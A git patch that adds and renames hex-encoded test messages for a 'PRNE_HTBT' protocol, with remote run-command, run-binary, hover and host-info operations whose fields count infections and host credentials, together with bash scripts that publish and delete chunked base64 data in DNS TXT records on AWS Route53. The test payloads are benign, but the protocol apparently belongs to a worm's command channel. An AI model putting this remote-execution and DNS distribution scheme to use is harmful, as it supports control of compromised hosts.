From 60308ca4d9a5976a06aa8fe78a7b21951f9f206d Mon Sep 17 00:00:00 2001 From: David Timber Date: Sun, 1 Nov 2020 16:42:59 +1030 Subject: Add txtrec-del.sh, rename proto-test -> proto --- src/data/proto-test/hostinfo_req | 4 -- src/data/proto-test/hostinfo_rsp | 20 ---------- src/data/proto-test/hover | 12 ------ src/data/proto-test/nybin_head | 8 ---- src/data/proto-test/print-raw.sh | 2 - src/data/proto-test/runbin | 26 ------------- src/data/proto-test/runcmd_demux | 21 ---------- src/data/proto-test/runcmd_detached | 16 -------- src/data/proto-test/runcmd_empty-out_ab | 68 --------------------------------- src/data/proto-test/runcmd_outonly | 20 ---------- src/data/proto-test/txtrec-enc.sh | 19 --------- src/data/proto-test/txtrec-set.sh | 61 ----------------------------- src/data/proto/hostinfo_req | 4 ++ src/data/proto/hostinfo_rsp | 20 ++++++++++ src/data/proto/hover | 12 ++++++ src/data/proto/nybin_head | 8 ++++ src/data/proto/print-raw.sh | 2 + src/data/proto/runbin | 26 +++++++++++++ src/data/proto/runcmd_demux | 21 ++++++++++ src/data/proto/runcmd_detached | 16 ++++++++ src/data/proto/runcmd_empty-out_ab | 68 +++++++++++++++++++++++++++++++++ src/data/proto/runcmd_outonly | 20 ++++++++++ src/data/proto/txtrec-del.sh | 64 +++++++++++++++++++++++++++++++ src/data/proto/txtrec-enc.sh | 19 +++++++++ src/data/proto/txtrec-set.sh | 61 +++++++++++++++++++++++++++++ 25 files changed, 341 insertions(+), 277 deletions(-) delete mode 100644 src/data/proto-test/hostinfo_req delete mode 100644 src/data/proto-test/hostinfo_rsp delete mode 100644 src/data/proto-test/hover delete mode 100644 src/data/proto-test/nybin_head delete mode 100755 src/data/proto-test/print-raw.sh delete mode 100644 src/data/proto-test/runbin delete mode 100644 src/data/proto-test/runcmd_demux delete mode 100644 src/data/proto-test/runcmd_detached delete mode 100644 src/data/proto-test/runcmd_empty-out_ab delete mode 100644 src/data/proto-test/runcmd_outonly delete mode 100755 src/data/proto-test/txtrec-enc.sh delete mode 100755 src/data/proto-test/txtrec-set.sh create mode 100644 src/data/proto/hostinfo_req create mode 100644 src/data/proto/hostinfo_rsp create mode 100644 src/data/proto/hover create mode 100644 src/data/proto/nybin_head create mode 100755 src/data/proto/print-raw.sh create mode 100644 src/data/proto/runbin create mode 100644 src/data/proto/runcmd_demux create mode 100644 src/data/proto/runcmd_detached create mode 100644 src/data/proto/runcmd_empty-out_ab create mode 100644 src/data/proto/runcmd_outonly create mode 100755 src/data/proto/txtrec-del.sh create mode 100755 src/data/proto/txtrec-enc.sh create mode 100755 src/data/proto/txtrec-set.sh diff --git a/src/data/proto-test/hostinfo_req b/src/data/proto-test/hostinfo_req deleted file mode 100644 index abeee61..0000000 --- a/src/data/proto-test/hostinfo_req +++ /dev/null @@ -1,4 +0,0 @@ -# initial msg id 0xA00 -8A00 -# PRNE_HTBT_OP_HOST_INFO -02 diff --git a/src/data/proto-test/hostinfo_rsp b/src/data/proto-test/hostinfo_rsp deleted file mode 100644 index 659a146..0000000 --- a/src/data/proto-test/hostinfo_rsp +++ /dev/null @@ -1,20 +0,0 @@ -# response msg id 0xA00 -0A00 -# PRNE_HTBT_OP_HOST_INFO -02 - # prog_ver - 11f76b87621a479ca2185c5540337c9f - # boot_id - 301d2539908542fd90b6200b4a3b0855 - # instance_id - 25dc7ea24ac64a299facbe184233c485 - ABBABABEFEFFFFFE # parent_uptime - DEADBEEFAABBCCDD # child_uptime - 8899AABBCCDDEEFF # bne_cnt - ABBAABBAABBAABBA # infect_cnt - 11223344 # crash_cnt - DEADBEEF # parent_pid - BABEBABE # child_pid - 0A # host_cred_len - 00 # arch - 5445535400 3132333400 # "TEST", "1234" diff --git a/src/data/proto-test/hover b/src/data/proto-test/hover deleted file mode 100644 index 52d52e2..0000000 --- a/src/data/proto-test/hover +++ /dev/null @@ -1,12 +0,0 @@ -# msg id 0xA06, init -8A06 -# PRNE_HTBT_OP_HOVER -03 - # addr_4 = 127.0.0.1 - 7F 00 00 01 - # port_4 = 64421 - FB A5 - # addr_6 = ::1 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 - # port_6 = 64421 - FB A5 diff --git a/src/data/proto-test/nybin_head b/src/data/proto-test/nybin_head deleted file mode 100644 index 79cd1b7..0000000 --- a/src/data/proto-test/nybin_head +++ /dev/null @@ -1,8 +0,0 @@ -# msg id 8A06, init -8A06 -# PRNE_HTBT_OP_NY_BIN -06 - # bin_len = - 000000 - # detach = 0, args_len = 0 - 0000 diff --git a/src/data/proto-test/print-raw.sh b/src/data/proto-test/print-raw.sh deleted file mode 100755 index a824fe1..0000000 --- a/src/data/proto-test/print-raw.sh +++ /dev/null @@ -1,2 +0,0 @@ -#!/bin/bash -sed -E -e "s/((\\s+)?#.*)?$//" -e "/^(\\s+)?$/D" -e "s/\\s//g" | tr -d "\\n" | xxd -ps -r diff --git a/src/data/proto-test/runbin b/src/data/proto-test/runbin deleted file mode 100644 index 099a1a6..0000000 --- a/src/data/proto-test/runbin +++ /dev/null @@ -1,26 +0,0 @@ -# msg id 0xA05, init -8A05 -# PRNE_HTBT_OP_RUN_BIN -07 - # bin_len = 147 - 000093 - # detach = 0, args_len = 0 - 0000 - # #!/bin/bash - # outfile=$(mktemp /tmp/prne.XXXX) - # echo "$outfile" - # for (( i = 0; i < 10; i += 1 )); do - # echo "hello world?!" >> "$outfile" - # done - # sleep 10 - 23212f62696e2f626173680a6f757466696c653d24286d6b74656d70202f - 746d702f70726e652e58585858290a6563686f2022246f757466696c6522 - 0a666f722028282069203d20303b2069203c2031303b2069202b3d203120 - 29293b20646f0a096563686f202268656c6c6f20776f726c643f2122203e - 3e2022246f757466696c65220a646f6e650a736c6565702031300a -# msg id 0xA05, init -8A05 -# PRNE_HTBT_OP_STDIO -08 - # stdio err = 0, fin = 1, len = 0 - 4000 diff --git a/src/data/proto-test/runcmd_demux b/src/data/proto-test/runcmd_demux deleted file mode 100644 index c0a630e..0000000 --- a/src/data/proto-test/runcmd_demux +++ /dev/null @@ -1,21 +0,0 @@ -# msg id 0xA04, init -8A04 -# PRNE_HTBT_OP_RUN_CMD -05 - # args_len = 08 - 00 08 - # "/bin/sh" - 2f 62 69 6e 2f 73 68 00 -# msg id 0xA04, init -8A04 -# PRNE_HTBT_OP_STDIO -08 - # stdio err = 0, fin = 1, len = 77 - 404D - # for (( i = 0; i < 4096; i += 1 )); do - # echo -n "A" >&1 - # echo -n "B" >&2 - # done - 666f722028282069203d20303b2069203c20343039363b2069202b3d2031 - 2029293b20646f0a096563686f202d6e20224122203e26310a096563686f - 202d6e20224222203e26320a646f6e650a diff --git a/src/data/proto-test/runcmd_detached b/src/data/proto-test/runcmd_detached deleted file mode 100644 index be4741d..0000000 --- a/src/data/proto-test/runcmd_detached +++ /dev/null @@ -1,16 +0,0 @@ -#################### -# run "sleep 5" detached -#################### - -# msg id 0xA01, init -8A01 -# PRNE_HTBT_OP_RUN_CMD -05 -# detached, args_len = 19 -04 13 - # "/bin/sh" - 2f 62 69 6e 2f 73 68 00 - # "-c" - 2d 63 00 - # "sleep 5" - 73 6c 65 65 70 20 35 00 diff --git a/src/data/proto-test/runcmd_empty-out_ab b/src/data/proto-test/runcmd_empty-out_ab deleted file mode 100644 index f85b789..0000000 --- a/src/data/proto-test/runcmd_empty-out_ab +++ /dev/null @@ -1,68 +0,0 @@ -#################### -# run "echo -n" with abundant stdin data -# The data must be consumed in htbt_relay_child() before return -#################### - -# msg id 0xA02, init -8A02 -# PRNE_HTBT_OP_RUN_CMD -05 -# args_len = 19 -00 13 - # "/bin/sh" - 2f 62 69 6e 2f 73 68 00 - # "-c" - 2d 63 00 - # "echo -n" - 65 63 68 6f 20 2d 6e 00 -# msg id 0xA02, init -8A02 -# PRNE_HTBT_OP_STDIO -08 - # stdio err = 0, fin = 0, len = 512 - 0200 - CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD - CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDC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/runcmd_outonly b/src/data/proto-test/runcmd_outonly deleted file mode 100644 index 56e25c2..0000000 --- a/src/data/proto-test/runcmd_outonly +++ /dev/null @@ -1,20 +0,0 @@ -# msg id 0xA03, init -8A03 -# PRNE_HTBT_OP_RUN_CMD -05 - # args_len = 40 - 00 28 - # "/bin/dd" - 2f 62 69 6e 2f 64 64 00 - # "if=/dev/urandom" - 69 66 3d 2f 64 65 76 2f 75 72 61 6e 64 6f 6d 00 - # "bs=4096" - 62 73 3d 34 30 39 36 00 - # "count=4" - 63 6f 75 6e 74 3d 34 00 -# msg id 0xA03, init -8A03 -# PRNE_HTBT_OP_STDIO -08 - # stdio err = 0, fin = 1, len = 0 - 4000 diff --git a/src/data/proto-test/txtrec-enc.sh b/src/data/proto-test/txtrec-enc.sh deleted file mode 100755 index 0836f0f..0000000 --- a/src/data/proto-test/txtrec-enc.sh +++ /dev/null @@ -1,19 +0,0 @@ -#!/bin/bash -if [ $# -lt 1 ]; then - echo "Usage: $0 " >&2 - exit 2 -fi - -set -e -cnt=0 -while true; do - rec="$(dd bs=189 count=1 status=none | base64 -w0)" - if [ -z "$rec" ]; then - break - fi - - printf "%08X%s %s\n" $cnt "$1" "$rec" - let "cnt += 1" -done - -printf "\n%08x%s\n" $cnt "$1" diff --git a/src/data/proto-test/txtrec-set.sh b/src/data/proto-test/txtrec-set.sh deleted file mode 100755 index 50bb07d..0000000 --- a/src/data/proto-test/txtrec-set.sh +++ /dev/null @@ -1,61 +0,0 @@ -#!/bin/bash -set -e - -ARR_HOOKS=" - aws -" - -if [ $# -lt 2 ]; then - echo "Usage: $0 [TTL] -Hooks:" >&2 - for h in $ARR_HOOKS; do - echo -e "\t$h" - done - - exit 2 -fi - -HEAD_REC="$1" -HOOK="$2" -ZONE_ID="$3" -if [ -z "$4" ]; then - TTL=3600 -else - TTL="$4" -fi - -aws_param () { - cat << EOF -{ - "Changes": [ - { - "Action": "UPSERT", - "ResourceRecordSet": { - "Name": "$1", - "Type": "TXT", - "TTL": $TTL, - "ResourceRecords": [ - { "Value": "\"$2\"" } - ] - } - } - ] -} -EOF -} - -hook_aws () { - aws route53 change-resource-record-sets\ - --hosted-zone-id "$ZONE_ID"\ - --change-batch "$(aws_param "$1" "$2")" -} - -while read line; do - if [ -z "$line" ]; then - break; - fi - "hook_$HOOK" $line -done - -read line -"hook_$HOOK" "$HEAD_REC" "$line" diff --git a/src/data/proto/hostinfo_req b/src/data/proto/hostinfo_req new file mode 100644 index 0000000..abeee61 --- /dev/null +++ b/src/data/proto/hostinfo_req @@ -0,0 +1,4 @@ +# initial msg id 0xA00 +8A00 +# PRNE_HTBT_OP_HOST_INFO +02 diff --git a/src/data/proto/hostinfo_rsp b/src/data/proto/hostinfo_rsp new file mode 100644 index 0000000..659a146 --- /dev/null +++ b/src/data/proto/hostinfo_rsp @@ -0,0 +1,20 @@ +# response msg id 0xA00 +0A00 +# PRNE_HTBT_OP_HOST_INFO +02 + # prog_ver + 11f76b87621a479ca2185c5540337c9f + # boot_id + 301d2539908542fd90b6200b4a3b0855 + # instance_id + 25dc7ea24ac64a299facbe184233c485 + ABBABABEFEFFFFFE # parent_uptime + DEADBEEFAABBCCDD # child_uptime + 8899AABBCCDDEEFF # bne_cnt + ABBAABBAABBAABBA # infect_cnt + 11223344 # crash_cnt + DEADBEEF # parent_pid + BABEBABE # child_pid + 0A # host_cred_len + 00 # arch + 5445535400 3132333400 # "TEST", "1234" diff --git a/src/data/proto/hover b/src/data/proto/hover new file mode 100644 index 0000000..52d52e2 --- /dev/null +++ b/src/data/proto/hover @@ -0,0 +1,12 @@ +# msg id 0xA06, init +8A06 +# PRNE_HTBT_OP_HOVER +03 + # addr_4 = 127.0.0.1 + 7F 00 00 01 + # port_4 = 64421 + FB A5 + # addr_6 = ::1 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 + # port_6 = 64421 + FB A5 diff --git a/src/data/proto/nybin_head b/src/data/proto/nybin_head new file mode 100644 index 0000000..79cd1b7 --- /dev/null +++ b/src/data/proto/nybin_head @@ -0,0 +1,8 @@ +# msg id 8A06, init +8A06 +# PRNE_HTBT_OP_NY_BIN +06 + # bin_len = + 000000 + # detach = 0, args_len = 0 + 0000 diff --git a/src/data/proto/print-raw.sh b/src/data/proto/print-raw.sh new file mode 100755 index 0000000..a824fe1 --- /dev/null +++ b/src/data/proto/print-raw.sh @@ -0,0 +1,2 @@ +#!/bin/bash +sed -E -e "s/((\\s+)?#.*)?$//" -e "/^(\\s+)?$/D" -e "s/\\s//g" | tr -d "\\n" | xxd -ps -r diff --git a/src/data/proto/runbin b/src/data/proto/runbin new file mode 100644 index 0000000..099a1a6 --- /dev/null +++ b/src/data/proto/runbin @@ -0,0 +1,26 @@ +# msg id 0xA05, init +8A05 +# PRNE_HTBT_OP_RUN_BIN +07 + # bin_len = 147 + 000093 + # detach = 0, args_len = 0 + 0000 + # #!/bin/bash + # outfile=$(mktemp /tmp/prne.XXXX) + # echo "$outfile" + # for (( i = 0; i < 10; i += 1 )); do + # echo "hello world?!" >> "$outfile" + # done + # sleep 10 + 23212f62696e2f626173680a6f757466696c653d24286d6b74656d70202f + 746d702f70726e652e58585858290a6563686f2022246f757466696c6522 + 0a666f722028282069203d20303b2069203c2031303b2069202b3d203120 + 29293b20646f0a096563686f202268656c6c6f20776f726c643f2122203e + 3e2022246f757466696c65220a646f6e650a736c6565702031300a +# msg id 0xA05, init +8A05 +# PRNE_HTBT_OP_STDIO +08 + # stdio err = 0, fin = 1, len = 0 + 4000 diff --git a/src/data/proto/runcmd_demux b/src/data/proto/runcmd_demux new file mode 100644 index 0000000..c0a630e --- /dev/null +++ b/src/data/proto/runcmd_demux @@ -0,0 +1,21 @@ +# msg id 0xA04, init +8A04 +# PRNE_HTBT_OP_RUN_CMD +05 + # args_len = 08 + 00 08 + # "/bin/sh" + 2f 62 69 6e 2f 73 68 00 +# msg id 0xA04, init +8A04 +# PRNE_HTBT_OP_STDIO +08 + # stdio err = 0, fin = 1, len = 77 + 404D + # for (( i = 0; i < 4096; i += 1 )); do + # echo -n "A" >&1 + # echo -n "B" >&2 + # done + 666f722028282069203d20303b2069203c20343039363b2069202b3d2031 + 2029293b20646f0a096563686f202d6e20224122203e26310a096563686f + 202d6e20224222203e26320a646f6e650a diff --git a/src/data/proto/runcmd_detached b/src/data/proto/runcmd_detached new file mode 100644 index 0000000..be4741d --- /dev/null +++ b/src/data/proto/runcmd_detached @@ -0,0 +1,16 @@ +#################### +# run "sleep 5" detached +#################### + +# msg id 0xA01, init +8A01 +# PRNE_HTBT_OP_RUN_CMD +05 +# detached, args_len = 19 +04 13 + # "/bin/sh" + 2f 62 69 6e 2f 73 68 00 + # "-c" + 2d 63 00 + # "sleep 5" + 73 6c 65 65 70 20 35 00 diff --git a/src/data/proto/runcmd_empty-out_ab b/src/data/proto/runcmd_empty-out_ab new file mode 100644 index 0000000..f85b789 --- /dev/null +++ b/src/data/proto/runcmd_empty-out_ab @@ -0,0 +1,68 @@ +#################### +# run "echo -n" with abundant stdin data +# The data must be consumed in htbt_relay_child() before return +#################### + +# msg id 0xA02, init +8A02 +# PRNE_HTBT_OP_RUN_CMD +05 +# args_len = 19 +00 13 + # "/bin/sh" + 2f 62 69 6e 2f 73 68 00 + # "-c" + 2d 63 00 + # "echo -n" + 65 63 68 6f 20 2d 6e 00 +# msg id 0xA02, init +8A02 +# PRNE_HTBT_OP_STDIO +08 + # stdio err = 0, fin = 0, len = 512 + 0200 + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD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DCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD + CDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCDCD diff --git a/src/data/proto/runcmd_outonly b/src/data/proto/runcmd_outonly new file mode 100644 index 0000000..56e25c2 --- /dev/null +++ b/src/data/proto/runcmd_outonly @@ -0,0 +1,20 @@ +# msg id 0xA03, init +8A03 +# PRNE_HTBT_OP_RUN_CMD +05 + # args_len = 40 + 00 28 + # "/bin/dd" + 2f 62 69 6e 2f 64 64 00 + # "if=/dev/urandom" + 69 66 3d 2f 64 65 76 2f 75 72 61 6e 64 6f 6d 00 + # "bs=4096" + 62 73 3d 34 30 39 36 00 + # "count=4" + 63 6f 75 6e 74 3d 34 00 +# msg id 0xA03, init +8A03 +# PRNE_HTBT_OP_STDIO +08 + # stdio err = 0, fin = 1, len = 0 + 4000 diff --git a/src/data/proto/txtrec-del.sh b/src/data/proto/txtrec-del.sh new file mode 100755 index 0000000..7ecf253 --- /dev/null +++ b/src/data/proto/txtrec-del.sh @@ -0,0 +1,64 @@ +#!/bin/bash +ARR_HOOKS=" + aws +" + +if [ $# -lt 2 ]; then + echo "Usage: $0 +Hooks:" >&2 + for h in $ARR_HOOKS; do + echo -e "\t$h" + done + + exit 2 +fi + +HEAD_REC="$1" +HOOK="$2" +ZONE_ID="$3" + +aws_param () { + cat << EOF +{ + "Changes": [ + { + "Action": "DELETE", + "ResourceRecordSet": $1 + } + ] +} +EOF +} + +hook_aws () { + local tmpfile=`mktemp --tmpdir txtrec-del.XXXXXXXXXX` + + aws route53 list-resource-record-sets\ + --hosted-zone-id "$ZONE_ID" > "$tmpfile" + local nb_rec=`jq ".ResourceRecordSets | length" "$tmpfile"` + local escaped_name=$(echo "$HEAD_REC" | sed -e s/\\./\\\\./g) + + for (( i = 0; i < nb_rec; i += 1 )); do + local rec=$(jq ".ResourceRecordSets[$i]" "$tmpfile") + jq ".ResourceRecordSets[$i].Name" "$tmpfile" | + egrep -i "\"([0-9a-f]+\.)?$escaped_name\.?\"" + if [ $? -eq 0 ]; then + aws route53 change-resource-record-sets\ + --hosted-zone-id "$ZONE_ID"\ + --change-batch "$(aws_param "$rec")" + fi + done + + rm -f "$tmpfile" +} + +"hook_$HOOK" "$HEAD_REC" + +i=0 +while true; do + "hook_$HOOK" $i."$HEAD_REC" + if [ $? -ne 0 ]; then + break + fi + let i=i+1 +done diff --git a/src/data/proto/txtrec-enc.sh b/src/data/proto/txtrec-enc.sh new file mode 100755 index 0000000..0836f0f --- /dev/null +++ b/src/data/proto/txtrec-enc.sh @@ -0,0 +1,19 @@ +#!/bin/bash +if [ $# -lt 1 ]; then + echo "Usage: $0 " >&2 + exit 2 +fi + +set -e +cnt=0 +while true; do + rec="$(dd bs=189 count=1 status=none | base64 -w0)" + if [ -z "$rec" ]; then + break + fi + + printf "%08X%s %s\n" $cnt "$1" "$rec" + let "cnt += 1" +done + +printf "\n%08x%s\n" $cnt "$1" diff --git a/src/data/proto/txtrec-set.sh b/src/data/proto/txtrec-set.sh new file mode 100755 index 0000000..50bb07d --- /dev/null +++ b/src/data/proto/txtrec-set.sh @@ -0,0 +1,61 @@ +#!/bin/bash +set -e + +ARR_HOOKS=" + aws +" + +if [ $# -lt 2 ]; then + echo "Usage: $0 [TTL] +Hooks:" >&2 + for h in $ARR_HOOKS; do + echo -e "\t$h" + done + + exit 2 +fi + +HEAD_REC="$1" +HOOK="$2" +ZONE_ID="$3" +if [ -z "$4" ]; then + TTL=3600 +else + TTL="$4" +fi + +aws_param () { + cat << EOF +{ + "Changes": [ + { + "Action": "UPSERT", + "ResourceRecordSet": { + "Name": "$1", + "Type": "TXT", + "TTL": $TTL, + "ResourceRecords": [ + { "Value": "\"$2\"" } + ] + } + } + ] +} +EOF +} + +hook_aws () { + aws route53 change-resource-record-sets\ + --hosted-zone-id "$ZONE_ID"\ + --change-batch "$(aws_param "$1" "$2")" +} + +while read line; do + if [ -z "$line" ]; then + break; + fi + "hook_$HOOK" $line +done + +read line +"hook_$HOOK" "$HEAD_REC" "$line" -- cgit